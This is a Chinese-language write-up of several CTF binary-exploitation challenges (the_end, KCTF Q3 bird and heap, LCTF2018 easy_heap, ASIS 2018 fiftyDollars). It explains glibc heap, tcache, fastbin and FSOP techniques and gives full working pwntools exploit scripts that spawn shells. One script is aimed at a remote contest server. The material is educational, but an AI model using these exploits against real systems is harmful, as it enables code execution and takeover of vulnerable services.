一眼就可以看出来,任意地址写五字节,且紧跟着exit,当前got写不了。所以得看看exit里面有没有地方可以利用来劫持控制流的。通常这个地方很容易想到exit的时候会刷新输出缓冲。如果能劫持stdout,就能达到目录。 劫持stdout来达到任意写的状态。且把vtable放到libc的got表上。

这里记录一种其他的方法,存在于exit中,exit里面回调用_dl_fini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   _dl_fini (void)
{
...
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
...
1
2
3
4
5
6
7
8
   # define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)

# if IS_IN (rtld)
# define GL(name) _rtld_local._##name
# else
# define GL(name) _rtld_global._##name
# endif

即直接把__rtld_lock_lock_recursive写成one_gadget即可,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
p = process('./the_end')
e = ELF('./the_end')
libc = ELF('./libc64.so')
ld = ELF('/lib/x86_64-linux-gnu/ld-2.23.so')


def write_value(addr,value):
p.send(p64(addr))
p.send(p8(value))


p.recvuntil('gift ')
sleep_addr=int(p.recv(14),16)
print "sleep_addr",hex(sleep_addr)

libc_base=sleep_addr-libc.symbols['sleep']
rce=0xf02a4+libc_base

print "rce",hex(rce)

ld_base=libc_base+0x3ca000
_rtld_global=ld_base+ld.symbols['_rtld_global']
addr=_rtld_global+0xf08
print hex(ld_base+ld.symbols['_rtld_global'])
#print *(struct _IO_FILE_plus *) 0x000055a20796d030
write_value(addr,rce&0xff)
write_value(addr+1,(rce>>8)&0xff)
write_value(addr+2,(rce>>16)&0xff)

for i in range(0,2):
p.send(p64(libc_base+libc.symbols['__malloc_hook']))
p.send(p8(0))
#p.sendline('cat flag 1>&0')
p.sendline('exec /bin/sh 1>&0')
p.interactive()

KCTFQ3-bird

这是一个mmap动态分配的题目,也是我第一次见到,人生有很多第一次。这次也不例外;)

看了这道题也很长时间,如果单纯从做题来说的话,其实也没必要。但是还是想看一下具体是怎么作者是怎么分的。用mmap 代替brk来管理内存。mmap也被分成了一个个chunk的块,当然了它并没有有malloc那样复杂的内存管理。

chunk的结构与malloc里面的chunk有一点不太一样,chunk是相对空闲状态的内存来说的。

1
2
3
4
5
6
struct chunk{
uint64 size;
char [SIZE-0x10];
void *next
void *prev
}

你会发现这个chunk稍微有一点点特别,同样是个双向链表,但是prev 和 next在chunk最后面。链表的头是用一个全局变量,这里暂且叫它top。同样chunk块存在动态的释放和申请。从top开始遍历,当内存不足时,用mmap向系统申请。同时top指向这个新的内存页。用prev保存之前的内存页。

top指向内存大于等于需要申请的内存时,也分两种情况剩余内存大于0x18时,则从该内存空间切割出来所需内存即可,同时改变prev->next 和 next->prev的指向,这里空闲状态是发生变化的,所以这里需要改变引用这个chunk的所有指针。

小于0x18时全部全部分配出去。这里为什么是0x18,因为这里申请的内存大小最小是0x10,再加上一个uint size位,而且这里注意到同样有size位的flag,size|1表示改chunk处于使用状态,size|2表示处于连续chunk的中间。我想他这个意思应该是希望来优化内存碎片的。起初我并没有在意这个点。这就是alloc的过程

下面来看free的过程。首先判断size&1确保这是一个使用中的chunk的,free过程出现了分支,如果该chunk处于连续chunk中间即size&2 == 1,则去判断该chunk内存位置上紧靠着的nextchunk是否处于未使用的状态,是的化则进行合并,这里没有合并的话会直接扔到top上,如果产生了合并,改合并的nextchunk必须等于top才会把合并之后的chunk扔到top上。

这里有一个存在一个小问题,你会发现合并之后的size位上只去掉了flag_2.并没有去掉flag_1.那么这里就是一个double_free。

这个点怎么用呢?如果这里double_free 会有什么效果呢?首先得保证第一次free的时候 size&3 == 0,第一次会向前合并,那么第二次flag_2清掉以后,这里的机制会把释放掉的chunk直接扔到top上,同时old_chunk->prev等于释放的chunk。这里就造成了free_chunk链上存在同时指向相同的位置chunk。这里造成了

old_chunk == the chunk to be free (the chunk to be free) -> next=the chunk to be free

我们的目标可能是想通过这个机制看能不能拿到 任意地址的引用。我们得想办法改变next的指向。如果现在alloc(0x30),这就直接可以控制next的指向,这里虽然不能改变next,但能改变next的next。

但是这里利用条件比较苛刻,为什么这样说呢,我们能很容易轻易的控制流程到next->next上,但是呢next->next指向的结构有一定要求,首先size的大小肯定要大于0x30,并且分割以后如果prev 和 next不为NULL,那还要写prev->next 和next -> prev ,这里还要想想写的时候能不能写。一般来看最好的情况就是prev 和 next 都为0。再来想想要拿到什么地址附近的引用呢? got表? 不行,got附近的没有合适的size,都是很大,导致prev和next的寻址会出现问题。malloc_hook 也不存在 这里用的是mmap

结合题意,它给了一个栈上的地址,那么我们能不能拿到相应函数返回值附近的地址引用呢?这个地方我找了好久,一般都是size合适,但对应prev 和 next 都不为NULL,会导致写出问题,但是附近恰好有一个合适的size 0xa00且对应的prev 和 next是NULL,这里我们可以拿到ret的引用的,那么这里怎么getshell呢?rop? NOOOOOOO没必要,这里mmap如果你vmmap话发现是可以执行的,所以直接在mmap上申请一块保存shellcode的chunk,再用ret打过去即可。这里本地成功,远程失败,应该是权限问题。我不知道为什么。由于比赛也还行进行,但是这一份不能用的exp贴出来也没事 :)))))))xi 思路最重要 逃)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn_debug import  *

ins = pwn_debug('./0xbird1')

ins.debug('2.23')
ins.remote('154.8.174.214',10000)
p = ins.run('remote')



context.log_level = "debug"

def z(text):
gdb.attach(p)
raw_input(text)


def alloc(size):
p.recvuntil('KCTF| ')
p.sendline('A')
p.recvuntil('Size: ')
p.sendline(str(size))

def free(index):
p.recvuntil('KCTF| ')
p.sendline('F')
p.recvuntil('Index: ')
p.sendline(str(index))

def write(index,content):
p.recvuntil('KCTF| ')
p.sendline('W')
p.recvuntil(') ')
heap_addr = p.recv(14)
p.recvuntil('Write addr: ')
p.sendline(str(index))
p.recvuntil('Write value: ')
p.send(content)
return int(heap_addr,16)

def leak_stack():
p.recvuntil('KCTF| ')
p.sendline('N')
p.recvuntil('Here you go: ')
stack = p.recv(14)
return int(stack,16)


ret_address = leak_stack()+0x4+0x8

fake_chunk = ret_address -0x69

#pwndbg> x/4gx 0x7ffced05c778 + 0x7
#0x7ffced05c77f: 0x0000000000000a00 0x0000d0ffffffff00
#0x7ffced05c78f: 0x0000000540131f00 0x007ffced05c7f000


success('ret_address:'+hex(ret_address))
payload = 'a'*8 + 'b'*8 +'c'*8+ 'd'*8 + p64(fake_chunk) + 'f'*8
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x100,"\x00")
#print len(shellcode)
alloc(0x100) #1
heap_addr = write(1,shellcode)
alloc(0x10) #2
#z('alloc done')
free(2) #0xfe1
free(2) #0xfe0
#z('')
alloc(0x30) #3

alloc(0xe80)#4
#z('')
write(3,payload)

z('')

alloc(0xd0)#5

rop = 'a'*0x31+p64(heap_addr) # read_ret_address
write(5,rop)
#z('for double free')
p.interactive()

KCTFQ3-heap

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall read_content(__int64 a1, int a2)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-14h]
char s; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&s, 0, 8uLL);
for ( i = 0; i < a2; ++i )
{
if ( read(0, &s, 1uLL) <= 0 )
exit(1);
if ( s == 10 )
break;
*(_BYTE *)(a1 + i) = s;
}
result = (unsigned int)i;
if ( i == a2 )
{
result = i + a1; // null off by one
*(_BYTE *)result = 0;
}
return result;
}

null off by one没什么好说的,正常思路Overlapping 然后直接uaf就行。但是这题我没有动手很久。因为没地方leak libc_base。

只有泄露堆的地址,但是这题保护全力开,pie也开了。主要还是没有理解__malloc_hook的weak_variable这是个弱类型。前面的那长段hook的操作其实并没有改变libc上__malloc_hook的指向。所以这里libc上的__malloc_hook不为NULL还是_malloc_ini,所以这里是可以直接写低字节的。

但是这里我还是出问题了,本地测试我用的是debug的libc,在关键的偏移上存在偏差。

如果拿unsortedbin地址写到fastbin上去。写低1字节,但这个我debug libc.2.23不行。12位的差异,要写2字节,开了aslr只能保证低12位的。这里需要爆破。 概率是1/16,可能它给的libc不需要爆破。

也可以在main_arena结构上伪造chunk。把unsortbin 写掉。这里可以避免爆破。也可能不能避免。

但是万万没想到的是 把mallo_ini如果写成one_gadget, 你知道吗? 至少要写2字节 20位的偏移。你确定,只能保证12位的正确 8位的爆破? 0xff。 那这样其实也是可以的 :)

LCTF2018-easy-heap

1
2
3
4
5
6
7
8
9
10
void menu()
{
puts("------------------------");
puts("1: malloc. ");
puts("2: free. ");
puts("3: puts. ");
puts("4: exit. ");
puts("------------------------");
printf("which command?\n> ");
}

point at

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void safe_read (char *pt1,unsigned int size)
{
int i=0;
if(size==0)
{
pt1[0]='\0';
return;
}
while(1)
{
read(0,&pt1[i],1);
if(i>size-1 || pt1[i]=='\0' || pt1[i]=='\n')
break;
i+=1;
}
pt1[i]='\0';
pt1[size]='\0';
}

显然易见的可以读size+1个字符,但最后一个字符只能是\x00, 所以这里是null by off,溢出NULL字符,改变nextchunk的sizeprev_inuse标志位,nextchunk的size 一般都应该在0xppppp00左右,即16进制下后两位为零,而且至少chunksize>=0x100。这道题的输入还有一个特点,不能输入\x00字符。先看一下这道题的分配chunk的特点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void malloc_1()
{
int i;
unsigned int size;
for (i=0;i<=9;i++)
{
if ( tk->kele[i].pt1==NULL)
break;
else continue;
}
if (i==10)
{
puts("full!");
return;
}
tk->kele[i].pt1=(char *)malloc(0xf8);
if (tk->kele[i].pt1==NULL)
{
puts("malloc error!");
bye_bye();
}
printf("size \n> ");
size=get_atoi();
if(size>0xf8)
bye_bye();
tk->kele[i].size=size;
printf("content \n> ");
safe_read(tk->kele[i].pt1,tk->kele[i].size);
}

可以看到是固定分配0xf80x100,也恰好符合上面约束规则,其他删除和dump函数也没有其他的可利用的点,现在需要思考我们能拿这个溢出的NULL做点什么?先看下面这种情况。 图1

NULL字符覆盖B的prev_inuse位之后,在free的阶段会向后合并,造成Achunk的堆空间重叠,再思考即使设置了prev_inuse为零以外,还需要设置prev_size.即这里需要指定prev_size为0x200.但是前面说过这里是无法输入\x00字符的,这里我们需要如何弄一个0x200出来呢?不能手动输入,那就让自己合并呗。

1
2
3
4
5
6
7
8
9
10
11
12
13
A = malloc(0xf8);
B = malloc(0xf8);
C = malloc(0xf8);
malloc(0xf8); //防止和top_chunk合并
free(A);
free(B);
free(C);/*这里为什么还有freeC呢,因为unsortbin被遍历放到smallbins里面,通过bitmap再拿到之后,会进行分割,会对分割剩下的chunk,设置foot,即reminder_size。这个时候,如果不freeC,这里的0x200会变成0x100,前面做的就白费了*/
//这里就在C的chunk的结构上设置好了0x200
A = malloc(0xf8);
B = malloc(0xf8); // 根据题目条件这里是通过这种输入的size来控制溢出。所以这里我们不会把0x200再覆盖掉。
(char *)B[16] = 0;
C = malloc(0xf8);
free(C)

这里因为chunk重叠,重叠精髓在于,我们有可能可以得到这个chunk的两个指针引用,相互影响将会产生magic。两个指针引用的利用,最常见的是在double free里面,这里有没有可能进行double free呢?

现在再来看libc的版本,libc版本为2.27,这个版本的libc是带tcache机制的,所以以上的操作我们必须得在tcache相应的bin被填满以后才能进行。

如果我把这两个指针都通过free放到tcache里面呢?下面看一下tcache_get

1
2
3
4
5
6
7
8
9
10
11
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

这里比fastbin的安全性检查都不如,没有检查e->next的合法性,直接用就行了。直接把fastbin里面的double free那一套放上去就行,利用double_free 使next指向_free_malloc就行,然后二次malloc double_free的chunk时候,把/bin/sh\x00写进去,__free_malloc指向system就行。

下面看具体的操作。直接把exploit列出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./easy_heap')

def cmd(idx):
p.recvuntil('>')
p.sendline(str(idx))

def new(size, content):
cmd(1)
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('> ')
if len(content) >= size:
p.send(content)
else:
p.sendline(content)

def delete(idx):
cmd(2)
p.recvuntil('index \n> ')
p.sendline(str(idx))

def show(idx):
cmd(3)
p.recvuntil('> ')
p.sendline(str(idx))
return p.recvline()[:-1]

def main():
# Your exploit script goes here

# step 1: get three unsortedbin chunks
# note that to avoid top consolidation, we need to arrange them like:
# tcache * 6 -> unsortd * 3 -> tcache
# 内存布局把tache填满,且最后一个tache为最后一个内存块,防止中间的3个unsortbin和top_chunk合并。
for i in range(7):
new(0x10, str(i) + ' - tcache')

for i in range(3):
new(0x10, str(i + 7) + ' - unsorted') # three unsorted bin chunks

# arrange:
for i in range(6):
delete(i)
delete(9)
for i in range(6, 9):
delete(i)

# step 2: use unsorted bin to overflow, and do unlink, trigger consolidation (overecvlineap)
#分割经过合并大的unsorted_chunk 得到三个需要的unsorted_chunk,这个时候0x200的prev_size已经被写到中
# 间的unsorted_chunk了.
for i in range(7):
new(0x10, str(i) + ' - tcache')

# rearrange to take second unsorted bin into tcache chunk, but leave first
# unsorted bin unchanged
new(0x10, '7 - first')
new(0x10, '8 - second')
new(0x10, '9 - third')
# 释放掉6个到tcache里面,最后一个留个中间那个unsorted_chunk,因为一会需要直接拿出覆盖写。

for i in range(6):
delete(i)
# move second into tcache
delete(8)
# delete first to provide valid fd & bk
# 为什么这里需要把这个unsortbin也释放掉呢?好问题,这里是因为在后面向后扩展的unlink中有一处验证
# if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 把这个验证绕过了。
delete(7)

#直接从tcache里面拿出来写,覆盖第三个unsorted_chunk的perv_inuse的标志位
new(0xf8, '0 - overflow')
# fill up tcache
#填满tacache
delete(6)

# trigger
#触发向后合并。并把这个fake_chunk放到unsortbin里面
delete(9)

# step 3: leak, fill up
#还是先把tache全部取出来
for i in range(7):
new(0x10, str(i) + ' - tcache')
# 遍历到大的unsorted_chunk,分割之后,中间的unsorted_chunk fd指向unsortbin,泄露libc的地址。
new(0x10, '8 - fillup')

libc_leak = u64(show(0).strip().ljust(8, '\x00'))
p.info('libc leak {}'.format(hex(libc_leak)))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = libc_leak - 0x3ebca0

# step 4: constrecvuntilct UAF, write into __free_hook
# 得到第二个中间unsorted_chunk的指针
new(0x10, '9 - next')
# these two provides sendlineots for tcache
delete(1)
delete(2)
# 相同的两个指针,double free
delete(0)
delete(9)
# 执行__free_hook,比伪造fastbin的chunk都简单,直接任意地址写。
new(0x10, p64(libc.symbols['__free_hook'])) # 0
new(0x10, '/bin/sh\x00into target') # 1
one_gadget = libc.address + 0x4f322
new(0x10, p64(one_gadget))

# system("/bin/sh\x00")
delete(1)

p.interactive()

if __name__ == '__main__':
main()

这道题是比较经典的,null字符溢出到overlapping chunk,chunk重叠得到两个相同chunk地址的指针引用,再配合tcache里面double_free任意地址写。Amazing!

asisctf-2018-fiftyDollars-glibc2.23

point

use after free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall show(unsigned int a1, __int64 a2)
{
__int64 result; // rax

if ( a1 <= 9 )
{
result = heap[a1];
if ( result )
{
myputs(heap[a1], a2);
result = myputs("Done!\n", a2);
}
}
return result;
}

double free

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall del(unsigned int a1, __int64 a2)
{
__int64 result; // rax

if ( a1 <= 9 )
{
free((void *)heap[a1]);
result = myputs("Done!\n", a2);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall alloc(unsigned int a1, __int64 a2)
{
void *v2; // rsi

if ( a1 <= 9 )
{
heap[a1] = malloc(0x50uLL);
myputs("Content:", a2);
v2 = (void *)heap[a1];
read(0, v2, 0x50uLL);
myputs("Done!\n", v2);
}
}

再来看堆上分配chunk的结构。固定分配0x60的chunk大小,属于fastbin里面 的chunk,很明显这题我们需要用double_free来进行fastbin attack, 至于前面的use after free 有什么用当然,我们可以用过它来泄露heap的地址。double_free配合fastbin_attack,可以进行任意堆地址写。 __malloc_hook的内存分布附近至少需要0x70的chunk才行,在这里我们做不到覆盖。所以这题往IO方向走。

先想覆盖_IO_list_all,把它覆盖为堆上地址,第一想到用unsortedbin attack让它指向unsortedbin,但是这里都是fastbin里面的chunk,先想个办法把unsorted chunk 弄出来。通过前面的double_free实现堆上任意写,把其中一个0x60chunk变成unsorted chunk 的size,再free它,这个unsorted chunk的bk指针也是可控。再清空fastbin,malloc(0x50)就能触发unsortedbin attack。

接着递进想法,把IO_list_all放到unsortedbin上以后,下一步就是把他_chain指向我们可控的堆上,计算_chain的偏移 IO_list_all = main_arena+88 &(IO_list_all->_chain) = main+88 + 104 => unsortbin+0x68 => smallbin[0x60] 所以需要把我们伪造的fp 放到smallbins 0x60上,如何放到smallbin 上去呢?,先需要把相应的chunk的放到unsortedbin上去,所以我需要把0x60放在unsortedbin上去,但是这里有一个问题,malloc(0x50),那么这里的unsortedbin上的0x60chunk是没有办法往smallbin 0x60上放的。所以这里的IO_list_all ->_chain不可控。这里就是这道题需要学到的point 。

暂且看当0x60不可控的时候,_chain指向哪里呢? &(IO_list_all->_chain)=smallbin[0x60] => smallbin[0x60] -> unsortbin+0x68-0x18 -> smallbins[0x50] &(IO_list_all->_chain->_chain) = unsortbin+0x50 + 0x68 = smallbins[0xb0]

通过_chain遍历io单链表,又一次指向了smallbins 上的 0xb0大小的chunk , 这里我们就可以伪造出相应的unsorted chunk。

再来看一下遍历IO_list_all刷新缓冲区的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
...
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

...

return result;
}

循环遍历_IO_list_all,也不会效验是不是合法的fp,仅判断需要不需要刷新缓冲区,所以我们不用担心每一个fp是否需要特殊化,仅仅关注_chain即可,最终让它指向我们伪造的fp上。伪造的fp需要满足需要刷新缓冲区的条件之外,还需要伪造vtable虚表中的_overflow处理函数。所以这道题意图已经很明显。

  1. 泄露heap_base_address
  2. 泄露libc_base_address
  3. double_free 下的fastbins attack 位置长度为0xb0的chunk,chunk上设置好fp的布局
  4. malloc 触发unsortedbin 遍历,fake_fp放到smallbins去。

再来看一下具体的布局。 图片

接着上exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

r = process(["./fifty_dollars"])
#r = remote("178.62.40.102",6001)
def alloca(idx,content):
r.sendlineafter(":","1")
r.sendlineafter(":",str(idx))
r.sendafter(":",content)

def show(idx):
r.sendlineafter(":","2")
r.sendlineafter(":",str(idx))
def remove(idx):
r.sendlineafter(":","3")
r.sendlineafter(":",str(idx))

alloca(0,"\x00"*0x48+p64(0x60))
alloca(2,"\x00")
alloca(1,"\x00") #紧接的2个chunk不能动,保证fake fp结构完整性
alloca(1,"\x00")
alloca(1,"\x00")
alloca(3,"\x00")
alloca(4,"\x00")
alloca(5,"\x00")
alloca(6,"\x00") #申请布局

remove(1) #UAF读fastbin泄露heap地址
remove(0)
show(0)
heap = u64(r.recvn(6).ljust(8,'\x00'))-0x180
print hex(heap)

remove(1)
alloca(1,p64(heap+0x50)) #第一次double_free布局,把2释放到unsortedbin里面去。泄露libc的地址
alloca(1,"a")
alloca(1,"a")
alloca(1,"\x00"*0x8+p64(0x121))
remove(2)
show(2)
libc = u64(r.recvn(6).ljust(8,'\x00'))-0x3c4b78
print hex(libc)

io_list_all = libc+0x3c5520
remove(3)
remove(4)
remove(3)
alloca(0,p64(heap+0x50))
alloca(0,"\x00"*0x48+p64(0x61))
alloca(0,"a")
#alloca(0,"/bin/sh\x00"+p64(0xb1)+p64(0)+p64(io_list_all-0x10)+"\x00"*0x28+p64(0x61))
alloca(0,"/bin/sh\x00"+p64(0xb1)+p64(0)+p64(io_list_all-0x10)+p64(0)+p64(1)+"\x00"*0x18+p64(0x61))

# 布局fake_fp,fp首地址写入/bin/sh\x00,修改size为0xb0,修改bk指针为io_list_all-0x10
# 修改write_base 和write_ptr


#wide = heap+0x1e0
#vtable = heap+0x1e0+0x28
remove(3)
remove(4)
remove(3)
alloca(0,p64(heap+0xc0))
alloca(0,"a")
alloca(0,"a")
# alloca(0,"\x00"*0x30+p64(wide)+p64(0x61))
alloca(0,"\x00"*0x48+p64(0x61))
# double_free写size 构造假的fast_chunk为写mode 和 vtable

remove(3)
remove(4)
remove(3)
alloca(0,p64(heap+0x110))
alloca(0,"a")
#alloca(0,p64(0x1)+p64(0x2)+p64(0x3)+p64(0x0)*3+p64(libc+0x45390))
alloca(0,"a")
#alloca(0,"\x00"*0x10+p64(0x1)+"\x00"*0x10+p64(vtable)+p64(0x61))
alloca(0,p64(0)+p64(0)+p64(0)+p64(heap+0x1e0)) # 写mode 和 vtable的地址值

remove(3)
alloca(0,p64(0)+p64(libc+0x45390)) # fake vtable
input()
alloca(0,"") #触发unsortedbin 遍历
r.interactive()

注释的代码是第第二种绕if的构造方法即

1
2
3
(_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)